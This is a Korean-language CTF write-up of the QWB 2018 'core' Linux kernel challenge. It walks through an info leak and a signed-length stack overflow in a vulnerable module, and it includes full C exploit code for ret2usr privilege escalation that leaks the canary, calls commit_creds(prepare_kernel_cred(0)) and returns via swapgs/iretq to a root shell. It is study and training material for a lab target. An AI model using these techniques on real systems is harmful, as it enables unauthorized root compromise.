CIDY
[QWB CTF 2018] core 본문
커널공부 해보려니 이 문제가 ret2usr기법 활용으로 많이 보이는 것 같아서 풀어보기로 했다.
https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/kernel/QWB2018-core
문제 파일은 여기서 다운로드할 수 있다.
다운로드해서 압축을 풀어보면 이런 파일들이 들어있다.
bzImage는 커널 이미지 파일, start.sh는 실행 스크립트, vmlinux는 커널 컴파일 시 생성되는 elf파일로, 심볼이 들어 있다.
여기서 내가 모르는건 core.cpio파일이다. 이 파일은 뭘까?
cpio는 아카이브 형태로 파일을 변형하지 않고 압축할 때 쓰인다고 한다.
cpio파일을 압축 해제하는 방법을 검색해보니 어째서인지 .cpio.gz파일을 압축 해제하는 방법이 더 많이 나와서 파일 종류를 보니 실제로 gzip파일이라고 되어 있다. cpio.gz파일인 것 같은데, 다음 명령어로 압축을 해제할 수 있다.
zcat core.cpio | cpio -idmv
압축을 해제해보면 이렇게 익스해야 할 커널 모듈과 각종 폴더들이 주어지는데, 내부의 파일 트리를 그대로 옮겨둔 것 같다.
뭐 어차피 주목해야 할 것은 core.ko이므로 거기에 집중하면 될 것 같다.
qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
우선 부트 스크립트를 확인해보면 보호 기법으로는 kaslr이 걸려 있는 것을 볼 수 있다.(quiet kaslr) 그 외에 smep등이 걸려있지는 않는 듯 하다.
우선 init_module함수로, 이 코드는 모듈 로드 시 실행되는 코드이다. /proc/core라는 파일을 등록해준다.
그리고 exit_core함수로, 이 코드는 모듈 언로드 시 실행되는 코드이다. 등록을 해제하고 있다.
그럼 본격적으로 코드 내용을 살펴보자.
core_ioctl함수를 살펴보면 위와 같이 이루어져 있다. a2를 이용해 스위치문을 수행하는데, 첫 번째 케이스에서 core_read(a3)를 수행한다.
core_read함수는 이렇게 생겼다.
뭐 이런 메시지를 출력하고
이런 서식문자 문자열도 보인다. 자세한 건 실행해봐야 할듯하다.
그런 다음 반복문을 통해 v5버퍼를 초기화하고, Welcome to the QWB CTF challenge라는 문자열을 strcpy한다.
직후에 copy_to_user를 통해 user버퍼로 무언가를 옮긴다. user버퍼는 내가 인자로 주는 버퍼이고, v5버퍼 어딘가의 주소를 제공하고 있는데, off가 어떤 변수인지 잘 모르겠다. 아무튼 거기서부터 64바이트를 옮겨준다. 만약 off가 0이 아니면 여기서 버퍼 이후 커널 공간의 주소가 릭될 수도 있는 부분이다.
그런 다음 swapgs를 하는데, 왜 하는지 모르겠다. 하지만 copy_to_user가 복사 실패한 바이트 수를 반환한다는 것을 감안하면, 복사에 실패하지 않는 이상 swapgs를 수행하지 않고 정상 반환됨을 알 수 있다.
그럼 두 번째 케이스를 살펴보자. 아마 off는 전역 변수일 것 같은데, off를 내가 준 입력으로 맞추고 있다.
출력하는 문자열은 이건데, 서식문자가 있어서 실행해봐야 알 것 같다.
세 번째 케이스문은 이렇게 생겼다.
출력 문자열은 이거고, copy_ro_func를 수행한다.
a1이 63보다 크면 overflow detect라면서 반환하고, 아니면 qmemcpy를 이용해 name버퍼의 값을 a1만큼 v2로 이동시킨다. 그런데 a1은 signed이므로 간단히 if문 검사를 우회할 수 있다. 즉 overflow를 발생시킬 수 있는 것.
그럼 여기서 ret2usr를 이용할 수 있다고 하고, name은 전역 버퍼 같은데 name을 어디서 쓸 수 있을까?
core_write라는 함수가 따로 존재했다. a2(유저 버퍼)에서 name버퍼로 a3(내가 설정한 길이, unsigned)만큼 복사해주므로 여기 페이로드를 저장시키면 된다.
마지막으로 core release라는 함수인데, 그냥 문자열 출력이다.
즉 요약해보면,
1. ioctl의 두 번째 메뉴에서 off를 높게 설정
2. ioctl의 첫 번째 메뉴에서 커널 주소 릭
3. write함수를 이용해서 name에 ret2usr페이로드 저장
4. ioctl의 세 번째 메뉴에서 언더플로우 취약점으로 ret2usr 실행
으로 익스를 하면 되는 것이다.
뭐랄까 불필요한 구석 없이 익스를 위한 조건이 착착 주어진 문제로, 왜 커널 입문 문제로 유명한지 알겠다.. 그럼 익스코드를 짜러 가보자
부트 스크립트를 보면 core.cpio의 파일 트리를 그대로 가져다 사용하므로 컴파일한 내 익스 바이너리를 cpio파일에 포함시켜서 부팅시키면 된다.
그리고 gcc컴파일 시 필요한 동적 링크 파일을 찾지 못하는 경우가 있을 수 있는데, 이를 방지하려면 -static옵션으로 컴파일해주면 해결이다.
근데 자잘한 문제들이 많이 발생한다.. 우선 부트 스크립트의 64M이 너무 작아서 부팅이 안 됐는데, 256M으로 바꿔주니 해결;
그리고 이 문제에는 친절하게도 gen_cpio라는 스크립트 파일이 들어 있었다.
ls | cpio -o --format=newc > rootfs.cpio
find .| cpio -o --format=newc > /rootfs.cpio
만약 위 스크립트가 없다면 위와 같은 명령어로 만들어줄 수 있다.
find . -print0 \
| cpio --null -ov --format=newc \
| gzip -9 > $1
암튼 이번 문제는 gen_cpio를 이용할 수 있는데, 첫 번째 인자로 cpio파일 이름을 주면 같은 폴더 내 파일들을 알아서 샤샥 압축해주는 좋은 스크립트이다.
그리고 cpio파일 내부의 poweroff -d 부분이 자동 종료 시간이라 해서 3000으로 맞춰줬다. setuidgid에 0을 넣은건 루트로 /proc/kallsyms를 읽으려고 한 거였는데, 위에서 친절하게 tmp로 옮겨줘서 굳이 안해줘도 된다.
아니 그런데 자꾸 이런 오류가 발생하면서 부팅이 잘 되지 않았다. init이 없다는데 나는 init을 잘 챙겨 넣어줬다..
와 원인을 찾았는데 내가 로컬 PC랑 vmware에 링크를 걸어둔 폴더에서 이것저것 해서 애초에 cpio압축 해제도 제대로 되지 않은 상태였다;
그냥 링크 안 걸고 vmware에서 해야 할듯!
int main(){
char buf[0x100] = {0};
int fd = open("/proc/core", O_WRONLY);
if(ioctl(fd, 0x6677889C, 0x50)){
printf("[-] SET OFF ERROR\n\n");
_exit(0);
}
if(ioctl(fd, 0x6677889B, buf)){
printf("[-] READ ERROR\n\n");
_exit(0);
}
for(int i = 0; i < 0x100; i+= 8){
printf("%#lx\n", *((long *)(&buf[i])));
}
}
일단 이렇게 짜서 커널 릭까지만 해둔 상태이다.
아 그런데 생각해보면 커널 코드에 카나리가 있었기 때문에 카나리도 같이 릭해줘야 한다! 0x50이 아니라 0x40부터 릭해올 수 있도록 코드를 바꿔야 할듯.
코드 수정 시 마다 컴파일 + 파일시스템을 생성 + 부팅 후 테스트를 해줘야 해서 다소 번거롭다;
카나리 + 커널 코드까지 잘 익스되었다. 저걸 받아와서 내가 구하고자 하는 함수들의 오프셋과 맞춰봐야 할듯
릭은 정상적으로 되었고, 이제 그럼 함수의 주소를 구하러 가자
이렇게 offset을 계산하면 되는 것 아닐까?
commit_creds = leak - 0x3f0c18bb
prepare_kernel_cred = leak - 0x3f0c14bb
그럼 이제 최종 익스를 하러 가 보자.
흠 뭐가 잘 안 돼서 gdb로 좀더 살펴보니 gdb에서는 무조건 두 함수의 주소가 같게 나온다; 다른 방법으로 정확한 주소를 구해야 할 것 같은데, 바로 /proc/kallsyms를 읽는 것이다.
이 파일은 원래 root권한으로 읽을 수 있는데, init스크립트를 보면 /tmp/kallsyms로 친절히 옮겨주었으므로 그냥 읽으면 된다.
계산 결과는 이러하다.
엇 그런데 오프셋이 자꾸 달라진다.. 뭔가 커널도 다 같은 커널 주소가 아니라 스택 주소 함수 주소 따로 있는건가?
지금은 그냥 릭하지 말고 /proc/kallsyms를 바로 읽는 것이 좋을 것 같다.
void* get_kallsyms(char *name)
{
void *addr;
char sym[512];
FILE* fp = fopen("/tmp/kallsyms", O_RDONLY);
while (fscanf(fp, "%p %*c %512s\n", &addr, sym) > 0)
{
if(strcmp(sym, name) == 0) break;
else addr = NULL;
}
fclose(fp);
return addr;
}
이런 함수를 작성해서 간단히 kallsyms에서 원하는 함수를 읽어올 수 있다.
#include <stdio.h>
#include <sys/ioctl.h>
#include <stdlib.h>
#include <stdint.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
struct task_struct;
struct cred;
static struct cred* (*prepare_kernel_cred)(struct task_struct * daemon);
static int (*commit_creds)(struct cred* new);
unsigned long long canary;
uint64_t dummy_stack[512] __attribute__((aligned(16)));
void shell(){
system("/bin/sh");
_exit(0);
}
void ret2usr(){
static struct trap_frame {
void* rip;
uint64_t cs;
uint64_t rflags;
void* rsp;
uint64_t ss;
} tf = {
.rip = &shell,
.cs = 0x33,
.rflags = 0x202,
.rsp = dummy_stack + 512,
.ss = 0x2b
};
volatile register uint64_t RSP asm("rsp");
commit_creds(prepare_kernel_cred(NULL));
RSP = (uint64_t)&tf;
asm volatile(
"cli\n\t"
"swapgs\n\t"
"iretq"
::"r" (RSP)
);
}
void* get_kallsyms(char *name)
{
void *addr;
char sym[512];
FILE* fp = fopen("/tmp/kallsyms", "r");
while (fscanf(fp, "%p %*c %512s\n", &addr, sym) > 0)
{
if(strcmp(sym, name) == 0) break;
else addr = NULL;
}
fclose(fp);
return addr;
}
int main(){
char buf[0x100] = {0};
char payload[0x100] = {0};
int fd = open("/proc/core", O_WRONLY);
if(ioctl(fd, 0x6677889C, 0x40)){
printf("[-] SET OFF ERROR\n\n");
_exit(0);
}
if(ioctl(fd, 0x6677889B, buf)){
printf("[-] READ ERROR\n\n");
_exit(0);
}
canary = *((unsigned long long*)(buf));
printf("[+] CANARY : %#llx\n", canary);
prepare_kernel_cred = get_kallsyms("prepare_kernel_cred");
commit_creds = get_kallsyms("commit_creds");
printf("[+] PREPARE_KERNEL_CRED : %#llx\n", (unsigned long long)prepare_kernel_cred);
printf("[+] COMMIT_CREDS : %#llx\n", (unsigned long long)commit_creds);
memset(payload, 'A', 0x40);
*((unsigned long long*)(payload + 0x40)) = canary;
memset(payload + 0x48, 'A', 0x8);
*((uint64_t*)(payload + 0x50)) = (uint64_t)&ret2usr;
if(write(fd, payload, 0x58) <= 0){
printf("[-] WRITE ERROR\n\n");
_exit(0);
}
if(ioctl(fd, 0x6677889A, 0x8000000000000058)){
printf("[-] COPY ERROR\n\n");
_exit(0);
}
}
그렇게 완성된 최종 익스코드.. ioctl의 세 번째 인자를 페이로드 길이에 맞춰서 준 이유는, 저렇게 안 하고 그냥 -1주니까 ret2usr함수로 안 넘어가서 그랬다.
루트쉘 획득!
첫 커널 익스라 이래저래 삽질도 많이 했지만 뿌듯
'Hack > CTF' 카테고리의 다른 글
[WACON 2023] Write-Up (pwn) (6) | 2023.09.07 |
---|---|
[LINE CTF 2021] bank (0) | 2023.08.03 |
[zer0pts CTF 2023] Himitsu Note (0) | 2023.07.22 |
[DanteCTF 2023] Write up (2) | 2023.06.05 |
[DEFCON CTF 2023 Qualifier] Open House(작성중) (0) | 2023.06.02 |